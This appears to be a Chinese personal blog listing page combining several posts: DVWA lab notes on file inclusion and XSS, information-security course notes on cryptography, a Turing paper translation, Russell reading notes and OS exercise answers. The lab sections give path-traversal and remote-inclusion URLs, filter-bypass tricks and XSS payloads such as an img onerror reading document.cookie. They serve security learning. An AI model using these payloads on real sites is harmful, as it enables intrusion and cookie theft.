wys的个人博客

你有很多事放不下?做人要潇洒一点~

0%

文件包含

概念

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

低等级

  1. 在网页上,服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

可以看到依次点击可以返回file1.phpfile2.phpfile3.php 的内容

随便输入一个文件名

报错,页面显示错误信息,没有这个文件(因为不是系统),但是暴露了服务器文件的绝对路径,于是根据经验找到了一些有趣的东西

构造绝对路径:

1
http://10.19.1*.*/dvwa/vulnerabilities/fi/?page=E:\software\phpstudy_pro\WWW\DVWA\php.ini

构造相对路径:

1
http://10.19.1*.*/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\software\phpstudy_pro\WWW\DVWA\php.ini

可以得到文件的内容:

远程文件包含

在服务器的php配置中,当选项allow_url_fopen与allow_url_include为开启状态 时,服务器会允许包含远程远程服务器上的文件,如果对文件来源没有检查, 就会导致 任意远程代码执行,还记得前面的这句话:服务器包含文件时,不管文件后缀是否是 php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

我们新建一个txt文件,输入以下内容:

我们用python创建一个文件服务器

可以看到我们成功创建了一个文件服务器并上传了一个文件:

我们通过输入url

1
http://10.19.*.*/dvwa/vulnerabilities/fi/?page=http://10.19.*.*:8000/poc.txt

可以成功的得到php的信息

中等级

1.查看代码可知,Medium级别的代码增加了str_replace函数,对page参数进行了一定的 处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除,对于相对路径包含 以及远程文件包含有一定的防御作用。

2.文件包含的限制绕过
使用str_replace函数是极其不安全的,因为可以使用双写绕过规则,比如像下面这样~~page=hthttp://tp://106.13.129.216:8000/phpinfo.txt但str_replace函数会将中间的http://删除,于是就只剩下http://106.13.129.216:8000/phpinfo.txt,相对路径也可以通过类似方法绕过,同时,相对路径不在防御范围内,所以还是可以直接用。

通过大小写也可以绕过。

相对路径可以通过以下方式绕过。

高等级

1.可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

2.漏洞利用
High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以 利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个 本地文件时,用的就是file协议。

我们在前面加上file:///就可以打开文件

信息安全概论(2)

2.1 密码学基本概念——加密和解密

机密与真实性的解决方法——加密

1
2
3
4
graph LR;
明文--加密算法 加密密钥-->密文
密文--解密算法 解密密钥-->明文

两种密码体制

单钥密码体制

\image-20220316164218625.png)

加密密钥和解密密钥相同,或能相互推导

单钥算法不能提供抗抵赖保护。

  1. 数据世界中,复制件和原件是不可区分的。
  2. 通信双方对密文Y有对等的生产能力。

所以单钥密码算法也被称为对称密码算法。

单钥密码加密的应用条件:

​ 需要敌人拿不到数据的安全信道传递共用的密钥。

双钥密码体制

\image-20220316164723920.png)

加密密钥和解密密钥不相同,且不能相互推导

双钥算法之一 —— RSA算法

\image-20220316172136374.png)

加密:$c=m^e \mod {n}$

解密:$c^d \mod n = m$

知道加密密钥推断不出解密密钥

\image-20220316174502949.png)

假设一个场景:A与B要进行通信,C为可能的窃听者,双钥密码体制工作如下。

工作流程:

  1. 由A产生加密密钥和解密密钥
  2. A将加密密钥公开出去,B和C都能接收到加密密钥。
  3. B通过加密密钥加密明文发送给A,A通过解密密钥就可以解密出明文。

这个过程中就可以不通过安全信道传输信息他,同时通过加密密钥也不能推导出解密密钥,所以信息可以安全的传输。

2.3.4 双钥密码小结

两把钥匙:加密能力和解密能力是非对称的。

公开加密密钥:

目的:机密性

优点:降低对安全信道的依赖

机密性 可鉴别性 完整性 抗抵赖性
× ×

公开解密密钥:

目的:真实性

优点:提供了抗抵赖的”证据“

机密性 可鉴别性 完整性 抗抵赖性
×

2.6.1 数字签名的基本原理和物理签名的区别

物理签名:基于物理载体不可伪造,通过物理载体对其上的内容负责。

数字签名:直接基于数据内容不可伪造,没有物理载体。

2.7.1 数字签名与数字证书

\image-20220318141759531.png)

我们以用户向服务器传输加密数据来阐述证书、公私钥和可信第三方的关系:

  1. 可信第三方产生公私钥,用私钥对服务器信息进行加密,然后将公钥公布出去。

  2. 用户向服务器传输数据的时候,先用公钥对签名信息进行解密。

    这一步可以保证数据的真实性,因为是可信第三方签名认证的。

  3. 接着服务器通过公开的加密私钥对数据进行加密,将数据传输给服务器。

    这一步可以保证数据的机密性,用这个公钥给服务器发送的机密数据,只有服务器可以解开。

信息安全概论(1)

1.1.1安全风险分析与安全对策

安全分析

要保护对象的价值、弱点、威胁

安全对策(PDRRP)

  • 保护
  • 检测
  • 反应
  • 恢复
  • 惩罚

1.2.1 可用性、真实性、机密性

信息的可用性

信息系统提供服务的能力

  • 病毒导致的计算机系统瘫痪
  • 蠕虫导致网络堵塞瘫痪
  • 黑客进行的拒绝服务攻击

信息的真实性

  • 可鉴别性

    是周瑜发给我的还是曹操发给我的

  • 完整性

    是不是发送过程中被改了

  • 抗抵赖 (面对双方不可信的条件下,提供保障)

信息的机密性

9月14日组织进攻

1.3.1 信息安全模型

信息安全模型:信息在传输、存储和处理过程中保护信息的CIA

机密性:Confidentiality

完整性:Integrity

可用性 :Availability

1.4.1 信息时代和信息的价值

数据 : 客观事物的符号表示。

信息 :有用的数据,能消除主体疑问的数据,能指导主体的行为的数据。

  • 数据是信息的载体,但信息不等于数据。
  • 数据中包含信息,但得到数据未必能得到信息,即能指导主体行为。

1.5.1 信息系统的弱点

  1. 设计上的问题——通常缺乏安全的考虑,比如 $arp$ 病毒。
  2. 实现上的问题——代码编写中,有意后门和无意的bug。
  3. 配置上的问题——默认的服务。
  4. 管理上的问题——弱的口令,内部人员无意或恶意的操作。

XSS笔记

XSS简介

反射型XSS只会中招一次,存储型XSS每次打开都会中招,很烦人。DOM型XSS接触的不多。

反射型XSS漏洞

低等级

代码直接引用了name参数,并没有做任何过滤和检查,存在明显的XSS漏洞。

在对话框键入<script>alert("111")</script> 就完成了一次低等级的XSS攻击。

可以看到浏览器上方弹出

中等级

观察代码发现对输入的数据进行的过滤,将script关键词删除,但是这种机制很容易被绕过。

  1. 这时我们可以通过输入<scr<script>ipt>alert(1)</script> 伪装外部的<script> 进行攻击。

可以看到浏览器成功弹窗

  1. 我们还可以通过混用大小写的方式进行XSS攻击

我们输入<ScriPt>alert(111)</script> ,点击$submit$ 进行提交也可以看到成功弹窗。

高等级

观察代码发现使用黑名单过滤输入,其中preg_replace()函数用于正则表达式的搜索和替换,这使双写绕过和大小写混写绕过全部失效。

我们可以通过 $img$ , $body$ 等标签注入js代码。

我们在对话框中输入代码: <img src=1 onerror=alert(document.cookie)>

提交后可以看到成功进行了弹窗

存储型XSS漏洞

低等级

strip_tags()函数可以剥去字符串中的HTML,XML以及PHP的标签,但允许使用标签。 addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加 反斜杠的字符串。 可以看到,由于对message参数使用了htmlspecialchars函数进行编码,无法在使用 message参数注入XSS代码,但是对于name参数,只是简单过滤了标签,所以仍存在存储型的XSS 。

在message进行xss攻击

在message栏输入<script>alert("/xss/")</script>

可以看到浏览器上方弹出

在name进行xss攻击

由于name进行了输入字数的限制,我们用burp进行抓包。

在name栏输入123,message栏输入123。在burp中的proxy栏打开intercept is on进行抓包。

抓包结果如下:

将txtname改为<script>alert("/xss/")</script>,放开包,发现浏览器成功弹窗。

中等级

基于黑名单思想,使用str_replace()函数,将script关键词删除,但是这种机制是很容易绕过去的。

同理用burp进行抓包

将message改为 <scr<script>ipt>alert(1)</script>

可以看到成功弹窗

高等级

同理进行抓包

改为 <img src=1 onerror=alert(document.cookie)>

放包可以看到成功进行了弹窗

Computing Machinery and Intelligence (1950)

计算机器与智能

1. The Imitation Game

模仿游戏

I propose to consider the question,’Can machines think?’ This should begin with definitions of the meaning of the terms ‘machine’ and ‘think’. The definitions might be framed so as to reflect so far as possible the normal use of the words,but this attitude is dangerous. If the meaning of the words ‘machine’ and ‘think’ are to be found by examining how they are commonly used it is difficult to escape the conclusion that the meaning and the answer to the question,’Can machines think?’is to be sought in a statistical survey such as a Gallup poll. But this is absurd. Instead of attempting such a definition I shall replace the question by another, which is closely related to it and is expressed in relatively unambiguous words.

我提议思考这样一个问题,‘机器可以思考吗’。这个问题应该从术语‘机器’和‘思考’这两个术语的意义的定义开始。这些定义也许从反映单词的正常用法而架构,但是这种态度是危险的。如果通过检查单词的一般用法,来得到单词‘机器’和‘思考’的含义,那么将很难不得出这样的结论:问题的意义和答案类似Gallup poll的统计调查中得到。但是这是荒唐的。为了不试图做出这样的定义,我会替换这个问题,它将和之前密切相关并用相对明确的词语。

The new form of the problem can be described in terms of a game which we call the ‘imitation game’.It is played with three people, a man (A), a woman(B),and an interrogator (C) who may be of either sex. The interrogator stays in a room apart from the other two. The object of the game for the interrogator is to determine which of the other two is the man and which is the woman. He knows them by labels X and Y, and at the end of the game he says either ‘X is A and Y is B’ or ‘X is B and Y is A. The interrogator is allowed to put questions to A and B thus:

C: Will X please tell me the length of his or her hair? Now suppose X is actually A, then A must answer. It is A’s object in the game to try and cause C to make the wrong identification. His answer might therefore be
‘My hair is shingled,and the longest strands are about nine inches long.’

新的问题可以描述为一种称之为模拟游戏的游戏。这个游戏有三个参与者,一个男人(A),一个女人(B),和一个可以为任意性别的审问者(C)。审问者呆在一个与其他两个人分开的房间里。这个游戏的目标是让审问者确定哪个房间里的是男人,哪个房间里的是女人。审问者知道两人的标签‘X’和’Y‘,在游戏的结尾他会说’X是A,Y是B‘或者’X是B,Y是A‘。这个审问者将可以给A和B类似这样的问题:

C:X可以告诉我他或她的头发的长度吗?假设X就是A,那么A必须回答。A的目标是让C做出错误的判断。因此他的回答可以是:

我的头发是墙面板式短发发型,最长的一缕大概与9英寸长。

Read more »

《西方哲学史》 罗素

第一篇 前苏格拉底哲学家

  • 除了在恋爱和战争中而外,他们从来不说谎。
  • 唯有当一个人去做某一件事并不是因为受冲动的驱使,而是因为他的理性告诉他说,到了某个未来时期他会因此而受益的时候,这时候才出现了真正的深谋远虑。打猎不需要深谋远虑,因为那是愉快的;但耕种土地是一种劳动,而并不是出于自发的冲动就可以做得到的事。
  • 文明要想消灭冲动,不仅靠个人的理性,还要靠法律、道德、宗教。
  • 私有财产制度带来的女性的从属状态,同时通常还创造出来一个奴隶阶级。一方面是把社会的目的强加给个人,而另一方面,个人已经获得了一种习惯把自己的一生视为是一个整体,于是越来越多地为着自己的未来而牺牲自己的目前。
  • 眼光长远是理性的,但也是苦闷的,因为美好 永远在将来,当下永远有苦难。酒神巴克斯的崇拜 者反对这种理性。酒能带给他们精神和肉体上的欢 乐,打破日常生活的苦闷。没有酒则生活无趣,有 酒生活就埋有隐患。眼光长远与冲动之间的对立贯 穿历史,不分上下。
  • 人类成就中最伟大的东西大部分都包含有某种沉醉的成分,某种程度上的以热情来扫除审慎。
  • 一部分希腊人被激烈的感情、苦闷的现实苦恼;另一部分趋于理智,自我认识清楚。正是这两 派人的共存造就了希腊的伟大,无论在思想上、艺 术上,还是宗教上。若是只有一派人,无论是冲动 的还是理智的,都不会改变世界。希腊最原始的神话形象不是神明宙斯,而是因带给人间火种而受苦受难的普罗米修斯。
第三章 毕达哥拉斯
  • 几何学对于哲学与科学方法的影响一直是深远的。希腊人所建立的几何学是从自明的,或者被认为是自明的公理出发,根据演绎的推理前进,而达到那些远不是自明的定理。公理和定理被认为对于实际空间是真确的,而实际空间又是经验中所有的东西。这样,首先注意到自明的东西然后再运用演绎法,就好像是可能发现实际世界中一切事物了。
  • 我相信,数学是我们信仰永恒的与严格的真理的主要根源,也是信仰有一个超感的可知的世界的主要根源。
  • 毕达哥拉斯那里得来的。如果不是他,基督徒便不会认为基督就是道;如果不是他,神学家就不会追求上帝存在与灵魂不朽的逻辑证明。但是在他的身上,这一切还都不显著。
第四章 赫拉克利特
  • 希腊人发现了数学推理和演绎的方法。 他们发明的几何学深深影响了近代科学。但是,几 何学也体现了希腊人片面的一面。他们根据现实进 行推理、演绎,得出的结论如果与现实不符,就认 为现实错了。这是片面的,后世被这种片面的观点 引入歧途。因此,不能盲目崇拜希腊人。虽然当时 有许多天才,但是不能无视近代思想的进步,只盯 着遥远的古希腊时期。
  • 赫拉克利特并没有流传下著作,他的言行多出 现在柏拉图和亚里士多德等人的著作的引文,而这 些引文大多是为了批判他才引证的。😂
  • 不断有人投身哲学领域进行研究的目的之一便 是追求永恒。这种追求是一种本能,最早是出于对 生活的热爱和灾难的躲避。(这里感觉很类似三体)
  • 近代的神学开始相信天上的神也是不断进步的。这也包含着一种永恒,那就是万物都在变化。

Process Synchronization

5.1 In Section 5.4, we mentioned that disabling interrupts frequently can affect the system’s clock. Explain why this can occur and how such effects can be minimized. 在5.4节我们提到如果频繁的禁用中断会影响系统时钟,解释为什么会发生并把影响减到最小。

The system clock is updated at every clock interrupt. If interrupts were disabled—particularly for a long period of time—it is possible the system clock could easily lose the correct time. The system clock is also used for scheduling purposes. For example, the time quantum for a process is expressed as a number of clock ticks. At every clock interrupt, the scheduler determines if the time quantum for the currently running process has expired. If clock interrupts were disabled, the scheduler could not accurately assign time quantum. This effect can be minimized by disabling clock interrupts for only very short periods.

系统时钟被每一个时钟中断所更新,如果中断被禁止,特别是很长的时间,那么系统时钟会丢失掉当前时间。系统时钟还用于系统调度。例如,进程的时间量表示为时钟信号的数量,在每个系统中断时,调度程序确定当前运行的时间量是否已过期。如果时钟中断被禁用,调度程序将无法准确分配时间量。这种影响可以通过在每次禁用中断只禁用很短的时间来解决。

5.2 Explain why Windows, Linux, and Solaris implement multiple locking mechanisms. Describe the circumstances under which they use spin-locks, mutex locks, semaphores, adaptive mutex locks, and condition variables. In each case, explain why the mechanism is needed. 解释为什么windows,Linux 和 Solaris 实现多种锁机制。解释他们使用自旋锁,互斥锁信号量,自适应互斥锁和条件变量。在每种情况下,解释为什么这种锁机制是需要的。

These operating systems provide different locking mechanisms depending on the application developers’ needs. Spinlocks are useful for multiprocessor systems where a thread can run in a busy-loop (for a short period of time) rather than incurring the overhead of being put in a sleep queue. Mutexes are useful for locking resources. Solaris 2 uses adaptive mutexes, meaning that the mutex is implemented with a spin lock on multiprocessor machines. Semaphores and condition variables are more appropriate tools for synchronization when a resource must be held for a long period of time, since spinning is inefficient for a long duration.

这些操作系统提供了复杂的锁机制,依赖于应用开发者的需要。自旋锁对多处理器系统十分重要,因为对于自旋锁线程可以在忙等待运行而不是被放入睡眠队列,互斥锁对于锁资源非常重要。Solaris使用了自适应互斥锁意味着在多处理机上实现了自旋锁。信号量和条件变量对于同步来说更合适当资源需要被持有很长一段时间,因为自旋很长一段时间是低效的。

5.3 What is the meaning of the term busy waiting? What other kinds of waiting are there in an operating system? Can busy waiting be avoided

altogether? Explain your answer. 忙等待是什么意思,还有其他的什么等待,忙等待可以完全避免吗?

Busy waiting means that a process is waiting for a condition to be satisfied
in a tight loop without relinquishing the processor. Alternatively, a
process could wait by relinquishing the processor, and block on a
condition and wait to be awakened at some appropriate time in the
future. Busy waiting can be avoided but incurs the overhead associated
with putting a process to sleep and having to wake it up when the
appropriate program state is reached. 忙等待意味着进程在一个小的循环中等待条件满足而不放弃处理器。另外的一个进程可以放弃处理器并等待,他可以被条件阻塞然后在合适的时机被唤醒。可以避免忙等待但需花费将进程置于忙状态并将他唤醒的开销。

5.4 Explain why spinlocks are not appropriate for single-processor systems yet are often used in multiprocessor systems. 解释自旋锁为什么对单进程系统不合适并且经常使用在多处理器系统中。

Spinlocks are not appropriate for single-processor systems because the
condition that would break a process out of the spinlock can be obtained
only by executing a different process. If the process is not relinquishing
the processor, other processes do not get the opportunity to set the
program condition required for the first process to make progress. In a
multiprocessor system, other processes execute on other processors and
thereby modify the program state in order to release the first process
from the spinlock. 对于单进程系统,自旋锁不合适因为可以打破进程自旋锁的条件必须被一个正在执行的程序所持有。其他进程没有机会获得释放所得的条件。在多进程系统中,其他进程可以执行在其他处理器上,因此可以修改状态以释放自旋锁。

Threads

4.4
Context switching between kernel threads typically requires saving the value of the CPU registers from the thread being switched out and restoring the CPU registers of the new thread being scheduled. 使用线程的时候创建了什么资源,使用进程的时候创建了什么资源。

Because a thread is smaller than a process, thread creation typically uses fewer resources than process creation. Creating a process requires allocating a process control block ( PCB ), a rather large data structure. The PCB includes a memory map, list of open files, and environment variables. Allocating and managing the memory map is typically the most time-consuming activity. Creating either a user or kernel thread involves allocating a small data structure to hold a register set, stack, and priority.

线程比进程使用的资源更少,进程需要申请一个PCB,一个更大的数据结构。PCB包含一个内存映射表一系列打开的文件还有环境变量。分配和管理内存映射表是最花时间的活动。创建用户或内核级线程包含分配一个较小的数据结构包括寄存器集合,栈和优先级。

4.5
Assume that an operating system maps user-level threads to the kernel using the many-to-many model and that the mapping is done through LWP s. Furthermore, the system allows developers to create real-time threads for use in real-time systems. Is it necessary to bind a real-time

thread to an LWP ? Explain. 假设用户线程和内核线程采用多对多的映射关系,并通过LWP进行映射,并且系统允许开发者创建实时线程在实时系统中,那么有必要绑定一个实时线程到LWP上吗?

Yes. Timing is crucial to real-time applications. If a thread is marked as real-time but is not bound to an LWP , the thread may have to wait to be attached to an LWP before running. Consider if a real-time thread is running (is attached to an LWP ) and then proceeds to block (i.e. must perform I/O , has been preempted by a higher-priority real-time thread, is waiting for a mutual exclusion lock, etc.) While the real-time thread is blocked, the LWP it was attached to has been assigned to another thread. When the real-time thread has been scheduled to run again, it must first wait to be attached to an LWP . By binding an LWP to a real-time thread you are ensuring the thread will be able to run with minimal delay once it is scheduled.

是的,定时对实时程序十分重要,如果一个线程被标记为实时的但是没有绑定到LWP上,这个线程在运行之前一定要绑定到LWP上。假设一个线程绑定到LWP上,当实时线程阻塞,进程并被阻塞了。LWP被分配给另一个线程,实时线程被计划再次运行,他必须要先被分配给LWP,只有将线程绑定在LWP上,你可以确保线程在调度和能以最小的延迟运行。